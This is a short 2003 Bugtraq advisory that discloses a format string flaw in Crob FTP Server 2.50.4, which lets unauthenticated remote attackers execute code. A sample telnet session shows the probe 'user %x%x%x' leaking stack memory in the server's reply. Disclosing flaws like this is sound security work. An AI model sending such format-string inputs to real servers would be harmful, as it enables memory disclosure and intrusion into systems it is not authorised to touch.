bugtraq - Format String Vulnerability in Crob Ftp Server

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Date: 2 Jun 2003 16:55:10 -0000
From: Luca Ercoli <luca.ercoli@...ind.it>
To: bugtraq@...urityfocus.com
Subject: Format String Vulnerability in Crob Ftp Server




Package:        Crob Ftp Server
Auth:		Crob Software Studio (www.crob.net/studio/ftpserver/)
Version: 	2.50.4 Build 228
Vulnerability:  Format String
Risk: 	        High


Vulnerability
Description:

A format string flaw in the authentication process allows remote attackers 
without valid user/pass to execute arbitrary code.


C:\>telnet 192.168.0.1 21

220- Crob FTP Server V2.50.4
220  Welcome to Crob FTP Server

user %x%x%x

331 Password required for 0d1250b70







Luca Ercoli luca.ercoli[at]inwind.it